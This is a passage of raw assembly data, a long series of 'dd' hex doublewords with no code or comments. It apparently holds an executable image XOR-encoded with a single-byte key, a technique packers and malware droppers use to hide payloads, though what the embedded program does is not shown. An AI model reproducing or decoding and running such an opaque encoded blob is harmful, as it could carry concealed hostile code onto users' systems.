7A7A367Ah, 6BDA7A7Ah, 7A7BB67Ah, 6 dup(7A7A7A7Ah) dd 6BCA7A7Ah, 7A61767Ah, 14h dup(7A7A7A7Ah), 1F0E547Ah dd 7A7A0E02h, 7AACFE7Ah, 7A6A7A7Ah, 7AACFE7Ah, 7A7E7A7Ah dd 3 dup(7A7A7A7Ah), 7A7A5A7Ah, 918541Ah, 7A7A7A09h, 6AFA127Ah dd 7A8A7A7Ah, 5 dup(7A7A7A7Ah), 7A7AFA7Ah, 1B1E54BAh, 7A7A1B0Eh dd 7A60C27Ah, 6BFA7A7Ah, 7A60C27Ah, 7AA67A7Ah, 3 dup(7A7A7A7Ah) dd 7A7A3A7Ah, 1E1354BAh, 7A1B0E1Bh, 7A7BB67Ah, 6BDA7A7Ah dd 7A7BB67Ah, 7A827A7Ah, 3 dup(7A7A7A7Ah), 7A7A1A7Ah, 1F0854BAh dd 7A191516h, 7A616E7Ah, 6BCA7A7Ah, 7A616E7Ah, 7A867A7Ah dd 3 dup(7A7A7A7Ah), 7A7A5A7Ah, 1E1F5478h, 7A1B0E1Bh, 7A7A367Ah dd 6BAA7A7Ah, 7A7A367Ah, 7B627A7Ah, 3 dup(7A7A7A7Ah), 7A7A5A7Ah dd 7A7A7A3Ah, 65h dup(7A7A7A7Ah), 7A7BC27Ah, 4BB97A7Ah dd 36F13ABAh, 3B8D7E5Eh, 7A7A7C7Eh, 0F1750E7Ah, 0F1725E3Eh dd 0F36A5E2Eh, 7A79C278h, 29B97A7Ah, 3EF12D2Ch, 102A6A5Eh dd 6A7C1284h, 851E6A7Ah, 7A7A7A4Fh, 5FF31E7Ah, 7A7A7A7Ah dd 5A5E3EF1h, 0F17222F1h, 84F9760Ah, 415A0E85h, 0E5E5E0Eh dd 0C4EF760h, 0F1C976F1h, 0F1725E36h, 6F97632h, 0F7A7EC9h dd 0C92E85ADh, 1EAB9172h, 7A7A7FF5h, 0BEF97A7Ah, 21242576h dd 9FF32FB9h, 2F2D2C29h, 7A107A10h, 7A6AE212h, 720F856Ah dd 7AAFFA92h, 2425277Ah, 2796F321h, 0F32F86B9h, 7296F99Fh dd 2F2D2C29h, 0F17627F1h, 3A8D723Fh, 7A7A7C7Eh, 0CDFF757Ah dd 0F37A7A7Ah, 3FF1823Fh, 863FF36Ah, 0F3823FF7h, 9F18639h dd 7201F176h, 758584F9h, 7A7AD2FEh, 0C76F77Ah, 7EF506F9h dd 2C070E7Ah, 6A11F72Fh, 0F1963FF1h, 0D97AF17Ah, 6A6BFA4Eh dd 0F1962FF1h, 0FA42D978h, 38F16A6Bh, 0FA46D97Eh, 2D2C6A6Bh dd 7A6EC32Bh, 47F77A7Ah, 6A6BFA3Ah, 0FA424FF1h, 0DF896A6Bh dd 0FA3A47F7h, 47F36A6Bh, 6A6BFA42h, 85242523h, 277EF52Eh dd 7627F124h, 520EBA73h, 1F14E02h, 40922972h, 0F9858585h dd 11F77EBEh, 92292C6Ah, 858584A9h, 0F772BEF9h, 7EF10C76h dd 7639F1F5h, 72F52E85h, 0F77201F1h, 4EF10C76h, 851893F5h dd 0BA4B8585h, 0F72F6391h, 85106A11h, 84DF9229h, 0BEF98585h dd 92711076h, 7A7AAEAFh, 277EBEF9h, 0F3212425h, 2FB92796h dd 2C299FF3h, 7607F92Dh, 927F0F7Bh, 7A7A7A66h, 7AA98D92h dd 6A0F857Ah, 85760F85h, 7ADB720Fh, 856A6BFAh, 212425AAh dd 7A76B8B3h, 0F99FF32Fh, 102D7696h, 928C107Ah, 7A7AAE27h dd 10823FF3h, 928F107Ah, 7A7AAE2Bh, 10863FF3h, 928E107Ah dd 7A7AAE3Fh, 128E3FF3h, 6A6BFA64h, 92820F85h, 7A7AAE53h dd 6BFA72D9h, 0FA66126Ah, 0F856A6Bh, 0AE6D9286h, 7ED97A7Ah dd 126A6BFAh, 6A6BFA66h, 928E0F85h, 7A7AAE7Fh, 0D94ABEF9h dd 6A6BFA76h, 0FA7E47F1h, 85736A6Bh, 7A10710Eh, 0AE49922Dh dd 0BEF97A7Ah, 7647F172h, 736A6BFAh, 106A0E85h, 64922D7Ah dd 0F97A7AAEh, 7C9272BEh, 257A7A7Ah, 0EAEAB9B3h, 9FF32FEAh dd 296E96F9h, 3FBD2D2Ch, 7A7A7A8Eh, 0A9E1927Ah, 0B9F37A7Ah dd 918A27F3h, 4741FA66h, 3F85790Eh, 4BA5F38Eh, 0B36383BAh dd 0A38DD488h, 0F3843BF7h, 66F73DBDh, 7A41FA41h, 7F1A50Fh dd 46F73D8Eh, 7A7A7AC7h, 9607F37Ah, 92960F85h, 7A7AA9DFh dd 823FF323h, 6BFA6AD9h, 8207F96Ah, 4B7E0F7Ah, 0F12791BAh dd 3F918A27h, 0BA4BA5F3h, 88B36383h, 0F7A38DD4h, 0BDF3843Bh dd 8607F33Dh, 0E4741FAh, 860F855Ch, 7AA91692h, 0FF1237Ah dd 737CF382h, 91780FBAh, 7F12951h, 924D8582h, 7A7AA903h dd 0F972BEF9h, 0F17E823Fh, 66F7862Fh, 7A41FA69h, 2FF1CC0Fh dd 7A78BD82h, 0C27A7A7Ah, 7A7A7A7Bh, 0B3212425h, 9FF32FB9h dd 795E96FBh, 2C297A7Ah, 7607F92Dh, 56FE757Ah, 0F17A7A6Bh dd 7AF0723Fh, 720E4E46h, 0FF754F46h, 7A7A6B61h, 0F3723FF1h dd 85B2F9BBh, 7B46FA3Ah, 0F3830F7Ah, 8584A2FFh, 166FF185h dd 0F96A6BFBh, 6F797EB8h, 6A6BFB0Eh, 6B0EAA43h, 0FADE6FF1h dd 0B8F96A6Bh, 75AA4376h, 7A6A98FFh, 67C5757Ah, 6A6BFAEEh dd 917891F9h, 7A4AC25Eh, 998D7A7Ah, 87DAFFF3h, 3FF18585h dd 0DAEFF176h, 43858587h, 4F2A6F7Eh, 0FE756A73h, 7A7A6AC9h dd 0FAEADB39h, 0BAF96A6Bh, 0E67F7926h, 436A6BFBh, 0DBB008B9h dd 6A6BFB86h, 4369BAF9h, 8584A2FFh, 0BAFF7585h, 0F17A7A7Bh dd 3AF0723Fh, 0E574674h, 755A4672h, 7A6A00FFh, 723FF17Ah dd 46733AF0h, 46720E57h, 12FF755Ah, 0F17A7A6Ah, 3AF0723Fh dd 0E57467Eh, 755A4672h, 7A6A2CFFh, 0FB3ADB7Ah, 0BAF96A6Bh dd 6FC57576h, 6A6BF872h, 2FF1AA7Bh, 6B28F072h, 7B7FEEF2h dd 75858585h, 0FB3E7FC5h, 2FF16A6Bh, 7228F072h, 7E7FEEF2h dd 0DB858585h, 6A6BFBFAh, 0F0722FF1h, 0EEF27028h, 8585737Fh dd 0FBA6DB85h, 0BAF96A6Bh, 6FC5757Dh, 6A6BFABEh, 2FF1AA7Bh dd 6A28F072h, 7B7FEEF2h, 0DB858585h, 6A6BFB66h, 0FB0A7F79h dd 2FF16A6Bh, 7D28F072h, 7B7FEEF2h, 0DB858585h, 6A6BFB5Ah dd 0F0722FF1h, 0EEF27528h, 85857F7Fh, 7FC57585h, 6A6BFAD2h dd 0F0722FF1h, 0EEF27628h, 8585717Fh, 7FC57585h, 6A6BFB46h dd 626FC575h, 7B6A6BF8h, 722FF1AAh, 0F27C28F0h, 84877FEEh dd 9ADB8585h, 756A6BFAh, 0FACE6FC5h, 0AA7B6A6Bh, 0F0722FF1h dd 7FEEF268h, 8585848Ch, 6BFBCEDBh, 6FC5756Ah, 6A6BFB52h dd 0F27F90F9h, 85777FEEh, 0D6DB8585h, 796A6BFBh, 6BFAB27Fh dd 722FF16Ah, 0F27928F0h, 857B7FEEh, 0EADB8585h, 0F96A6BFAh dd 0C5757EBAh, 6BFBE26Fh, 0F1AA7B6Ah, 28F0722Fh, 7FEEF271h dd 8585857Bh, 6BFBC6DBh, 722FF16Ah, 0F26828F0h, 85707FEEh dd 76DB8585h, 0F16A6BF8h, 28F0722Fh, 7FEEF27Fh, 8585857Bh dd 6BFBD6DBh, 6FC5756Ah, 6A6BF86Ah, 2FF1AA7Bh, 7828F072h dd 867FEEF2h, 75858584h, 0FB3E7FC5h, 2FF16A6Bh, 7728F072h dd 727FEEF2h, 0DB858585h, 6A6BFB96h, 0F0722FF1h, 0EEF27B28h dd 8584857Fh, 85759185h, 0FFF7720Fh, 8585857Bh, 0AA51922Ah dd 4FF17A7Ah, 6A6BFBF6h, 0F06F9134h, 857B4FFEh, 4A468585h dd 43467E06h, 0DA937F04h, 3C7A7A74h, 6BFB2EDBh, 79BAF96Ah dd 526FC575h, 7B6A6BFBh, 8BC43AAh, 0FAD6DBACh, 92F96A6Bh dd 82FFF37Dh, 0F1858584h, 6BFB864Fh, 753C916Ah, 7B4FFEC4h dd 0F9858585h, 6FF14A92h, 6A6BFAB2h, 0B8D57538h, 8482FF7Bh dd 0C6FA8585h, 85857B4Fh, 74044E85h, 6BFB1ADBh, 78BAF96Ah dd 8482FF53h, 0ADB8585h, 756A6BFBh, 0FABE6FC5h, 0AA7B6A6Bh dd 7B7292F9h, 0FAC6DBBCh, 0BAF96A6Bh, 8BC436Ah dd 0F85ADBD4h, 0B9F36A6Bh, 0FB2E6779h, 91F96A6Bh, 75619173h dd 7B67FEC4h, 0F9858585h, 0FF7B4A92h, 85858482h, 0B67FC575h dd 3A6A6BFAh, 0C575B97Bh, 6BFBE27Fh, 526FF16Ah, 0F76A6BF8h dd 437D6A3Eh, 0F1AA08B9h, 858482FFh, 7A70C385h, 0A84B7A7Ah dd 47F18B8Dh, 6A6BF842h, 8E67C575h, 7B6A6BFAh, 7895F9A5h dd 0FF758043h, 7A7A77CDh, 857BFFF7h, 852A8585h, 6B200E6Fh dd 0BA73236Ah, 77DBFF75h, 4FF17A7Ah, 6A6BFB9Ah, 0F17E94F9h dd 6BF8424Fh, 0C251916Ah, 7A7A7A4Ah, 0FFF39C8Dh, 858587E6h dd 6BFB3ADBh, 2A7F796Ah, 0F96A6BFBh, 0EFF17F92h, 858587E6h dd 2A6F7E43h, 0E6A734Fh, 0C5753C75h, 6BFBDE7Fh, 24BAF96Ah dd 0BD08BC43h, 427FC575h, 0F16A6BFBh, 6BF8566Fh, 6A3EF76Ah dd 75BC4320h, 7A7744FEh, 7A4AC27Ah, 9C8D7A7Ah, 87E2FFF3h dd 3FF18585h, 0E2EFF176h, 0F3858587h, 4F2A6F7Eh, 0CB126A73h dd 926A6BE3h, 7A7A59D2h, 0D647F123h, 756A6BFAh, 0FBBE67C5h dd 0A57B6A6Bh, 2D7595F9h, 47C5752Ah, 6A6BF86Ah, 2D7F95F9h dd 85760F85h, 77234A6Fh, 0B6FFF36Ah, 0F1858584h, 6BFB8277h dd 7993F96Ah, 730FB243h, 0F3763FF1h, 8584B6FFh, 0E3DE1285h dd 23926A6Bh, 2A7A7A59h, 84B6CF85h, 0B5928585h, 0F37A7AC8h dd 8584AEFFh, 0E3E21285h, 47926A6Bh, 2A7A7A59h, 84AECF85h dd 0C9928585h, 0F37A7AC8h, 7A4AC2BDh, 9C8D7A7Ah, 87EEFFF3h dd 0B9F38585h, 2E6746F3h, 106A734Fh, 7A4AC27Ah, 9C8D7A7Ah dd 87EAFFF3h, 4E858585h, 734F2E7Fh, 226F856Ah, 0DB6A6B23h dd 6A6BFBAAh, 2A7D92F9h, 5FE26F85h, 0FFF36A7Bh, 8585848Eh dd 849EFFF7h, 852A8585h, 8584AECFh, 2A6F8585h, 126A6B23h dd 6A6BE3F4h, 7A58B192h, 66BEF97Ah, 0FBBA47F1h, 2D356A6Bh dd 848ECF85h, 0C5758585h, 6BFBEE47h, 67C5756Ah, 6A6BFB8Ah dd 95F9A57Bh, 0CF852D7Dh, 858584AEh, 848AC7F1h, 0C7518585h dd 85858492h, 96C7F12Dh, 51858584h, 85849EC7h, 0C5752D85h dd 6BFB4647h, 7395F96Ah, 7647F12Dh, 0F96A6BFBh, 122D7895h dd 2AFA7A7Ah, 857BC7F7h, 2A2D8585h, 7A787A12h, 466F857Ah dd 0F36A7333h, 7A4AC2BDh, 9C8D7A7Ah, 87F6FFF3h, 0B9F38585h dd 226746F3h, 0F16A734Fh, 858496FFh, 9EFF5185h, 0F1858584h dd 6BFB9A6Fh, 53B8F96Ah, 0FFF3AA53h, 8585849Ah, 848AC7F1h dd 0C7518585h, 85858492h, 0FBAE67F1h, 0B9FB6A6Bh, 7A7A7A88h dd 67F1A553h, 6A6BF87Eh, 0F340B9F9h, 4BA25382h, 75BAFFA8h dd 0AA7BB8E6h, 0FFF382ABh, 858584A6h, 0F84E6FF1h, 6F796A6Bh dd 6A6BFBFEh, 437690F9h, 756C07AAh, 0FA827FC5h, 7F796A6Bh dd 6A6BF842h, 0F37E92F9h, 8584A6FFh, 0E3FE1285h, 0C3926A6Bh dd 0F37A7A5Bh, 8587F2FFh, 0E3FA1285h, 0D3926A6Bh, 0F37A7A5Bh dd 8587FEFFh, 5A47F185h, 796A6BF8h, 6BFB3A47h, 7995F96Ah dd 8ECF852Dh, 0F1858584h, 6BFAB247h, 0C22D356Ah, 7A7A7A4Ah dd 0FFF39C8Dh, 858587FAh, 4E85BDF3h, 734F2247h, 47C5756Ah dd 6A6BFB42h, 7A8DBDFBh, 852D7A7Ah, 85849ACFh, 0A6C7F185h dd 0F1858584h, 6BFBF267h, 4CB9F96Ah, 326FC575h, 7B6A6BFBh dd 75A57BA9h, 0FA8667C5h, 7B316A6Bh, 47F12DA5h, 6A6BFB2Eh dd 797FBDF9h, 6BFAD647h, 73122D6Ah, 0F12AFA7Ah, 8587FEC7h dd 0C7F12D85h, 858587F2h, 47C5752Dh, 6A6BFA82h, 2D7F95F9h dd 33466F85h, 0FFF36A73h, 858584B2h, 6BE30C12h, 5A88926Ah dd 0FFF37A7Ah, 85858706h, 6BE32712h, 5A98926Ah, 0FFF37A7Ah dd 85858702h, 0FB5E47F1h, 0C5756A6Bh, 6BFA8667h, 0F9A57B6Ah dd 852D7E95h, 85848ECFh, 47C57585h, 6A6BFB32h, 0B667C575h dd 7B6A6BFBh, 7095F9A5h, 7A4AC22Dh, 9C8D7A7Ah, 870EFFF3h dd 0BDF38585h, 22474E85h, 0F16A734Fh, 6BFBD647h, 4BBDF96Ah dd 0F8364779h, 852D6A6Bh, 85849ACFh, 0A6CF8585h, 75858584h dd 0FB7E47C5h, 67F16A6Bh, 6A6BF866h, 6A6506F7h, 7A7A122Dh dd 0C7F12AFAh, 85858702h, 6C7F12Dh, 2D858587h, 0F86E47F1h dd 95F96A6Bh, 6F852D79h, 6A733346h, 84BEFFF3h, 92DB8585h dd 326A6BFAh, 1078102Ah, 107A107Ah, 757B107Fh, 0FBE27FC5h dd 6FF16A6Bh, 6A6BF852h, 90F9B87Bh, 6FF12873h, 6A6BFB06h dd 0F87E6F79h, 90F96A6Bh, 6FF12873h, 6A6BFBE6h, 287E90F9h dd 7A78C612h, 0DA6FF17Ah, 796A6BFAh, 6BFB0E6Fh, 7090F96Ah dd 0C64F8528h, 796A6BFAh, 6BFB2E7Fh, 0DB2A326Ah, 6A6BFB9Eh dd 2A6ABAF9h, 485A6F85h, 0FFF36A73h, 858584BAh, 102A7B10h dd 0BECF854Ah, 85858584h, 7A8A626Fh, 0E329126Ah, 0CB926A6Bh dd 0F37A7A65h, 85870AFFh, 0E3341285h, 0DB926A6Bh, 0F97A7A65h dd 47F162BEh, 6A6BFB4Ah, 0CF852D35h, 8585848Eh, 0FB4E47F1h dd 95F96A6Bh, 0CF852D78h, 858584B2h, 0FADA47F1h, 0BDFB6A6Bh dd 7A7A7A88h, 6A67C575h, 7B6A6BF8h, 0E267F1A5h, 796A6BFAh dd 6BF83267h, 7391F96Ah, 0F12DA553h, 85849AC7h, 2E67F185h dd 796A6BFBh, 6BF86E67h, 7D91F96Ah, 752DA553h, 0FB3247C5h dd 47796A6Bh, 6A6BFB9Eh, 2D7E95F9h, 0FB7247F1h, 95F96A6Bh dd 7A122D7Dh, 2A2A7A7Ah, 870AC7F1h, 0F12D8585h, 6BF84E47h dd 0A47796Ah, 0F96A6BFBh, 852D7695h, 7333466Fh, 0C2BDF36Ah dd 7A7A7A4Ah, 0FFF39C8Dh, 85858716h, 46F3B9F3h, 734F2667h dd 0F876DB6Ah, 7F796A6Bh, 6A6BFB0Eh, 8C7FC6FAh, 4E858584h dd 3C12600Fh, 926A6BE3h, 7A7A64B6h, 0C7F72A23h, 858584D6h dd 0B3E1922Dh, 62917A7Ah, 6BE34212h, 64C8926Ah, 2A237A7Ah dd 84D6C7F7h, 922D8585h, 7A7AB3FBh, 6BE2BC12h, 64E0926Ah dd 0C7F77A7Ah, 8585857Bh, 0D6C7F72Dh, 2D858584h, 0D7C7F72Ah dd 2D858587h, 23526F85h, 0C6126A77h, 926A6BE2h, 7A7A640Eh dd 8712FFF3h, 47F18585h, 6A6BFB12h, 0FB9A4779h, 95F96A6Bh dd 0CF852D7Ch, 8585848Eh, 0F8424F85h, 4AC26A6Bh, 8D7A7A7Ah dd 1EFFF39Ch, 0F3858587h, 474E85BDh, 6A734F26h, 0FBAE47F1h dd 0BDF96A6Bh, 0CF852D52h, 8585849Ah, 0DE47C575h, 0F96A6BFBh dd 0F12D7EBDh, 6BFA9647h, 67C5756Ah, 6A6BFB46h, 122DA57Bh dd 2A7A7A7Ah, 87D7C7F7h, 0F12D8585h, 858712C7h, 0C5752D85h dd 6BFA8247h, 7A47796Ah, 0F96A6BF8h, 852D7095h, 7333466Fh dd 0D2FFF36Ah, 75858587h, 0FBBE7FC5h, 7F796A6Bh, 6A6BFADEh dd 2A7592F9h, 7A107810h, 7F107A10h, 7EDB7B10h, 796A6BF8h dd 6BFB3A7Fh, 7992F96Ah, 7FC5752Ah, 6A6BFB32h, 0FB6A7F79h dd 92F96A6Bh, 22DB2A70h, 0F96A6BFBh, 122A7992h, 7A7A7BEAh dd 1E7FC575h, 326A6BFBh, 0F84EDB2Ah, 7F796A6Bh, 6A6BFB5Ah dd 2A6A92F9h, 827FC575h, 756A6BFAh, 0FAB66FC5h, 0AA7B6A6Bh dd 0FA9ADB2Ah, 0BAF96A6Bh, 6F852A70h, 6A73485Ah, 84AAFFF3h dd 7B108585h, 854A102Ah, 8587D2CFh, 626F8585h, 126A7A8Ah dd 6A6BE2CAh, 7A674592h, 1AFFF37Ah, 12858587h, 6A6BE2D6h dd 7A675592h, 26FFF37Ah, 0F1858587h, 6BFAEA47h, 7E95F96Ah dd 8ECF852Dh, 75858584h, 0F83A47C5h, 0C5756A6Bh, 6BFB9267h dd 0F9A57B6Ah, 0C22D7595h, 7A7A7A4Ah, 0FFF39C8Dh, 85858722h dd 4E85BDF3h, 734F2647h, 5A47F16Ah, 0FB6A6BFBh, 7A7B5EBDh dd 0C5752D7Ah, 6BFBB647h, 0C667F16Ah, 0F76A6BFBh, 2D576506h dd 0FB7647F1h, 0BDF96A6Bh, 47F12D33h, 6A6BFB22h, 2D39BDF9h dd 0FA7A7912h, 26C7F12Ah dd 2D858587h, 871AC7F1h, 0F12D8585h, 6BFB9A47h, 7E95F96Ah dd 466F852Dh, 0F36A7333h, 7A4AC2BDh, 9C8D7A7Ah, 872EFFF3h dd 0B9F38585h, 1E6746F3h, 126A734Fh, 6A6BE2DAh, 7A660D92h dd 2AFFF37Ah, 12858587h, 6A6BE2E6h, 7A661D92h, 52BEF97Ah dd 8736FFF3h, 47F18585h, 6A6BFBBAh, 6267C575h, 7B6A6BFBh dd 7395F9A5h, 8ECF852Dh, 0F1858584h, 6BFB1A47h, 7D95F96Ah dd 7A4AC22Dh, 9C8D7A7Ah, 8732FFF3h, 0BDF38585h, 26474E85h dd 0F16A734Fh, 6BFB2E47h, 67BDFB6Ah, 797A7A7Bh, 6BFBCA47h dd 47F12D6Ah, 6A6BF87Ah, 795CBDF9h, 6BF85647h, 47F12D6Ah dd 6A6BFAE2h, 7940BDF9h, 6BFB5A47h, 0C5752D6Ah, 6BFBEE47h dd 67C5756Ah, 6A6BFBDEh, 796506F7h, 7A79122Dh, 0C7F12AFAh dd 85858736h, 2AC7F12Dh, 2D858587h, 0FAD647F1h, 95F96A6Bh dd 6F852D7Dh, 6A733346h, 4AC2BDF3h, 8D7A7A7Ah, 3EFFF39Ch dd 0F3858587h, 6746F3B9h, 6A734F1Ah, 6BFBFADBh, 6FC5756Ah dd 6A6BFA86h, 1C32AA7Bh, 8484FFF3h, 0BE938585h, 127A7A7Ah dd 6A6BE2EEh, 7A610592h, 0C7CD757Ah, 85858484h, 0C7F72A2Dh dd 85858740h, 526F852Dh, 0F76A7723h, 858740FFh, 6DB2A85h dd 796A6BFBh, 6BFB667Fh, 7392F96Ah, 7B39122Ah, 4AC27A7Ah dd 8D7A7A7Ah, 4EFFF39Ch, 85858587h, 4F1A7F4Eh, 6F856A73h dd 6A7A8A62h, 6BE2F012h, 6150926Ah, 0CD757A7Ah, 858484C7h dd 0E667F185h, 0F96A6BFBh, 0A57B79B9h, 0C7F72A2Dh, 85858740h dd 526F852Dh, 0F96A7723h, 0FFF75ABEh, 85858740h, 7FC5752Ah dd 6A6BF872h, 6A6FC575h, 7B6A6BF8h, 7C92F9AAh, 7B39122Ah dd 4AC27A7Ah, 8D7A7A7Ah, 4AFFF39Ch, 85858587h, 4F1E7F4Eh dd 6F856A73h, 6A7A8A62h, 84FF851Ch, 75858584h, 8484FFCDh dd 0C5758585h, 6BFBD26Fh, 77B8F96Ah, 0F675AA43h, 85858559h dd 6BE2F812h, 60D8926Ah, 0FFF37A7Ah, 8585873Ah, 6BE20412h dd 60E8926Ah, 0FFF37A7Ah, 85858746h, 0F87A47F1h, 47796A6Bh dd 6A6BF836h, 2D7495F9h, 848ECF85h, 47F18585h, 6A6BFAAEh dd 0F86E4779h, 95F96A6Bh, 4AC22D72h, 8D7A7A7Ah, 42FFF39Ch dd 0F3858587h, 474E85BDh, 6A734F26h, 0FADE47F1h, 0BDF96A6Bh dd 47F12D6Bh, 6A6BFAA2h, 7930BDF9h, 6BFACA47h, 47F12D6Ah dd 6A6BF85Ah, 2D00BDF9h, 8247C575h, 0F16A6BFAh, 6BFB0E67h dd 6506F76Ah, 7A122D59h, 0F12AFA7Ah, 858746C7h, 0C7F12D85h dd 8585873Ah, 787A122Dh, 6F857A7Ah, 6A733346h, 4AC2BDF3h dd 8D7A7A7Ah, 4EFFF39Ch, 0F3858587h, 6746F3B9h, 6A734F12h dd 0B67FC575h, 326A6BFAh, 1222102Ah, 7A7A7AB6h, 7A7A4AC2h dd 0F39C8D7Ah, 85874AFFh, 7F4E8585h, 6A734F12h, 8A626F85h dd 0E126A7Ah, 926A6BE2h, 7A7A63CAh, 8756FFF3h, 28128585h dd 926A6BE2h, 7A7A63DAh, 8752FFF3h, 47F18585h, 6A6BFB12h dd 2D7895F9h, 848ECF85h, 47F18585h, 6A6BFBA6h, 0FAAE4779h dd 95F96A6Bh, 4AC22D7Fh, 8D7A7A7Ah, 5EFFF39Ch, 0F3858587h dd 474E85BDh, 6A734F26h, 0FB7647F1h, 0BDF96A6Bh, 4A477947h dd 2D6A6BF8h, 849ACF85h, 0C5758585h, 6BFA8247h, 5E67F16Ah dd 0F76A6BF8h, 2D336506h, 0FBBA47F1h, 0BDFB6A6Bh, 7A7A7AE9h dd 0FB5E4779h, 122D6A6Bh, 2A7A7A7Ah, 8752C7F1h, 0F12D8585h dd 858756C7h, 47F12D85h, 6A6BFAA2h, 2D7C95F9h, 33466F85h dd 0FFF36A73h, 858587DEh, 0CF857B10h, 858584AAh, 852A4A10h dd 7A8A626Fh, 0E232126Ah, 9F926A6Bh, 0F37A7A62h, 85875AFFh dd 0E2541285h, 0AF926A6Bh, 0F97A7A62h, 0FFF362BEh, 85858766h dd 0FB7A47F1h, 95F96A6Bh, 0CF852D73h, 8585848Eh, 0FB4A47F1h dd 47796A6Bh, 6A6BFB8Eh, 2D7095F9h, 7A7A4AC2h, 0F39C8D7Ah dd 858762FFh, 85BDF385h, 4F26474Eh, 47F16A73h, 6A6BFAAEh dd 2D68BDF9h, 0F84A47F1h, 81F36A6Bh, 7AE0B9FBh, 0F1297A7Ah dd 6BFB2E67h, 8BB9FB6Ah, 7B7A7A7Ah, 47C57581h, 6A6BFBEAh dd 0FBDA6FF1h, 6F76A6Bh, 8153696Dh, 47C57529h, 6A6BFB42h dd 2D7DBDF9h, 0FA7A7A12h, 66C7F12Ah, 2D858587h, 875AC7F1h dd 0F12D8585h, 6BF86E47h, 0AE47796Ah, 0F96A6BFBh, 852D7195h dd 7333466Fh, 0C2BDF36Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585876Eh dd 46F3B9F3h, 734F1667h, 857B106Ah, 8584AACFh, 7A4AC285h dd 4A107A7Ah, 0FFF39C8Dh, 8585876Ah, 167F4E85h, 856A734Fh dd 7A8A626Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 85858776h dd 8772FFF3h, 4E858585h, 734F267Fh, 6E6F856Ah, 0F16A7323h dd 858772C7h, 477EF385h, 6A734F06h, 7AF76012h, 0C286106Ah dd 7A7A7A4Ah, 0FFF39C8Dh, 8585877Eh, 267F4E85h, 856A734Fh dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585877Ah dd 8686FFF3h, 4E858585h, 734F127Fh, 6E6F856Ah, 0F16A7323h dd 858686C7h, 477EF385h, 6A734F02h, 7AF76012h, 0C286106Ah dd 7A7A7A4Ah, 0FFF39C8Dh, 85858682h, 127F4E85h, 856A734Fh dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 8585868Eh dd 868AFFF3h, 4E858585h, 734F1E7Fh, 6E6F856Ah, 0F16A7323h dd 85868AC7h, 477EF385h, 6A734F0Eh, 7AF76012h, 0C286106Ah dd 7A7A7A4Ah, 0FFF39C8Dh, 85858696h, 1E7F4E85h, 856A734Fh dd 7B5FD66Fh, 0C286106Ah, 7A7A7A4Ah, 0FFF39C8Dh, 85858692h dd 869EFFF3h, 4E858585h, 734F1A7Fh, 6E6F856Ah, 0F16A7323h dd 85869EC7h, 477EF385h, 6A734F0Ah, 7AF76012h, 0C286106Ah dd 7A7A7A4Ah, 0FFF39C8Dh, 8585869Ah, 1A7F4E85h, 856A734Fh dd 7B5FD66Fh, 7A4AC26Ah, 9C8D7A7Ah, 86A6FFF3h, 4E858585h dd 734F1A7Fh, 866F856Ah, 256A7F53h, 0B9B32124h, 2B9FF32Fh dd 0F12D2C29h, 4FF17227h, 6A6BFB5Ah, 757294F9h, 0FBE247C5h dd 91356A6Bh, 6ECD752Ah, 7637F101h, 376CD75h, 8853B053h dd 75862FF3h, 0FAAA7FC5h, 92F96A6Bh, 7B8437Ch, 0FB56DB65h dd 827F6A6Bh, 7B7A7A85h, 2EDB863Fh, 0F36A6BFBh, 764F79BCh dd 0F96A6BFBh, 73917394h, 0FAC24FF1h, 94F96A6Bh, 862FF17Eh dd 16EF31Ch, 0F85ADB3Dh, 0BAF96A6Bh, 8BD4364h, 212425DEh dd 0F32FB9B3h, 7F12D9Fh, 623FF176h, 623FF31Ch, 6BFB4ADBh dd 7A837F6Ah, 0BD437A7Ah, 0F85770Fh, 0EE1B9266h, 4B237A7Ah dd 0DB5A91BAh, 6A6BFB36h, 7A7B7B7Fh, 0FBD437Ah, 660F8577h dd 7A2E8992h, 0BA4B237Ah, 79C27F91h, 25FA787Ah, 7A5EB827h dd 7A3A7BC2h, 7A6AB8FAh, 129FF32Fh, 6A6B1546h, 53826F85h dd 46DB6A7Fh, 276A6B15h, 2F7A7EB8h, 2C299FF3h, 760FF12Dh dd 126A07F1h, 6A6BE0E2h, 466F852Ch, 736A7723h, 0F16A0EBAh dd 7DF3723Fh, 62F14D85h, 4B7E2985h, 123591BAh, 6A6BE062h dd 466F852Ch, 736A7723h, 0F16A0EBAh, 7DF3723Fh, 62F14D85h dd 4B7E2985h, 125591BAh, 6A6BE392h, 466F852Ch, 736A7723h dd 0F16A0EBAh, 7DF3723Fh, 62F14D85h, 4B7E2985h, 0DB7591BAh dd 6A6BFBCEh, 0F37E92F9h, 3A78C27Dh, 2425FA7Ah, 76B82721h dd 9FF32F7Ah, 795A72C2h, 0C5B5927Ah, 2C297A7Ah, 0FB1ADB2Dh dd 92F96A6Bh, 66FFF37Dh, 8585869Bh, 0F856A0Fh, 4FFFF776h dd 2A85869Bh, 326E6F85h, 0BEF96A73h, 0FB5EDB76h, 92F96A6Bh dd 0C5752A78h, 6BFB527Fh, 7F92F96Ah, 0DB79102Ah, 6A6BFAB2h dd 32DB2A32h, 756A6BF8h, 0FBD26FC5h, 0AA7B6A6Bh, 2A7E92F9h dd 7A7A7B12h, 720F85BAh dd 11626F85h, 0FFF36A6Bh, 858595F6h, 0F8582F9h, 66FF855Ch dd 0DB85869Bh, 6A6BFB76h, 66FF4332h, 0F85869Bh, 720F8571h dd 7A39A292h, 0E391237Ah, 293BA4Bh, 0DB7A7A6Eh, 6A6BFB0Eh dd 0FAAE7F79h, 92F96A6Bh, 0CF852A76h, 858595F6h, 236A6F85h dd 3FF36A73h, 6A2FF18Ah, 856AFEF7h, 2A7A7B85h, 6F857A10h dd 6A7F5396h, 75863FF3h, 0FB527FC5h, 92F96A6Bh, 0FFF72A7Fh dd 85869B5Ah, 8A0F852Ah, 85860F85h, 8595F6CFh, 4E6F8585h dd 0F16A7A8Ah, 3AF1863Fh, 0BAFFF346h, 0F185858Dh, 869B5AFFh dd 7A825785h, 0FF437A7Ah, 85858DBAh, 699CFD75h, 0FFF17A7Ah dd 85858DBAh, 0F3863F79h, 0CD75823Fh, 3F2A477Ah, 0FF757A7Ah dd 7A7A69B6h, 75823FF1h, 0F1263ACDh, 6BFAA66Fh, 0A26F796Ah dd 0F96A6BFAh, 0AA437390h, 69D4FE75h, 